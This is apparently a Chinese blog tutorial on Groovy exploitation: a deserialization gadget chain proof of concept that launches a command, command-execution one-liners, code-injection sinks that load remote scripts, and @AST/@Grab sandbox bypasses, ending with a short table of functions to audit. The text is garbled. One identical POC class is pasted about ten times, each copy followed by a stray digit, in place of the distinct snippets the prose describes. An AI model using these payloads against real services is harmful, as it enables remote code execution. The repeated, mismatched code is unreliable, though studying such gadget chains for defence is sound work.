反序列化
Groovy : 1.7.0-2.4.3
AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
代码注入
条件
如果外部可控输入Groovy代码或者外部可上传一个恶意的Groovy脚本,且程序并未对输入的Groovy代码进行有效的过滤,那么会导致恶意的Groovy代码注入,从而RCE
多种命令执行方法
运行这样一个Groovy代码,将会弹出一个计算器,成功执行了命令(def是用来定义标识符)
//其他执行命令执行的方法
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
//回显的方式
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"
注入点分析
MethodClosure
看看他的构造方法
可以发现他传入了一个对象,第二个是对象的方法,通过其中的docall方法进行调用
但是docall方法是protected修饰的,不能直接调用,调用它的父类Closure的call方法间接调用
package ysoserial.vulndemo;
import org.codehaus.groovy.runtime.MethodClosure;
public class GroovyInject {
public static void main(String[] args) {
// MethodClosure methodClosure = new MethodClosure(Runtime.getRuntime(), "exec");
// methodClosure.call("calc");
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
}
}
GroovyShell
类中的evaluate方法有多个重载,支持有GroovyCodeSource String File URI 等参数类型,能够通过Groovy代码写入或者本地加载或者远程加载Groovy脚本来执行命令
其中的parse方法就是或者对应的Groovy脚本,之后调用run方法进行执行代码内容
//直接执行Groovy代码
GroovyShell shell = new GroovyShell();
shell.evaluate("\'calc\'.execute()");
//通过加载本地脚本
GroovyShell shell = new GroovyShell();
Script script = shell.parse(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
script.run();
GroovyShell shell = new GroovyShell();
shell.evaluate(new File("src/main/java/ysoserial/vulndemo/GroovyTest.groovy"));
//通过加载远程脚本
GroovyShell shell = new GroovyShell();
shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
这里的url和Groovy代码同样可以通过GroovyCodeSource封装之后执行evalute执行代码
GroovyScriptEngine
GroovyScriptEngine可从指定的位置(文件系统、URL、数据库等等)加载Groovy脚本,并且随着脚本变化而重新加载它们
其构造方法存在重载的方式,可以指定远程Url/根文件位置/ClassLoader
之后通过使用run方法回显,有两个重载,一个是传入脚本名和对应的参数,另一个是脚本名和Binding对象
//通过传入根路径之后调用对应的脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/ysoserial/vulndemo");
scriptEngine.run("GroovyTest.groovy", "");
//通过调用远程url之后调用特定脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("GroovyTest.groovy", "");
//通过Binding加载
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");
scriptEngine.run("src/main/java/ysoserial/vulndemo/GroovyTest.groovy", new Binding());
GroovyClassLoader
GroovyClassLoader是一个定制的类装载器,负责解释加载Java类中用到的Groovy类,重写了loadClass和defineClass方法
parseClass 可以直接从文件或者字符串中获取groovy类
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
0
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
1
ScriptEngine
在ScriptEngine中,支持名为“groovy”的引擎,可用来执行Groovy代码。这点和在SpEL表达式注入漏洞中讲到的同样是利用ScriptEngine支持JS引擎从而实现绕过达到RCE是一样的
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
2
bypass方法
反射+字符串拼接
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
3
Groovy沙箱绕过
Groovy代码注入都是注入了execute()函数,从而能够成功执行Groovy代码,这是因为不是在Jenkins中执行即没有Groovy沙箱的限制。但是在存在Groovy沙箱即只进行AST解析无调用或限制execute()函数的情况下就需要用到其他技巧了
@AST注解执行断言
https://www.groovy-lang.org/metaprogramming.html#_available_ast_transformations
利用AST注解能够执行断言从而实现代码执行
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
4
模拟受害者:
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
5
@Grab注解加载远程恶意类
Grape是Groovy内建的一个动态Jar依赖管理程序,允许开发者动态引入不在ClassPath中的函式库
需要导入ivy依赖,不然会报错(你可以试试)
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
6
POC
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
7
这里的加载依赖会看本地仓库是否有,如果没有就从root服务器的group/module/version目录里面下载EvilJar-0.jar文件,默认存放在~/.groovy/grapes目录下
之后使用processOtherServices方法处理其他服务,比如这里的name
我们就需要在服务器上编写一个恶意类
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
8
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class Groovy_POC {
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(barr);
outputStream.writeObject(obj);
byte[] bytes = barr.toByteArray();
barr.close();
return Base64.getEncoder().encodeToString(bytes);
}
public static void unserialize(String base64) throws Exception{
byte[] decode = Base64.getDecoder().decode(base64);
ByteArrayInputStream barr = new ByteArrayInputStream(decode);
ObjectInputStream inputStream = new ObjectInputStream(barr);
inputStream.readObject();
}
public static void main(String[] args) throws Exception{
//封装对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure, "entrySet");
//反射获取AnnotationInvocationHandler构造方法
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
constructor.setAccessible(true);
//动态代理
Map map = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
//初始化
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
//序列化
String serialize = serialize(invocationHandler);
System.out.println(serialize);
//反序列化
unserialize(serialize);
}
}
9
排查方法
排查关键类函数特征:
关键类 | 关键函数 |
---|---|
groovy.lang.GroovyShell | evaluate |
groovy.util.GroovyScriptEngine | run |
groovy.lang.GroovyClassLoader | parseClass |
javax.script.ScriptEngine | eval |
还没有评论,来说两句吧...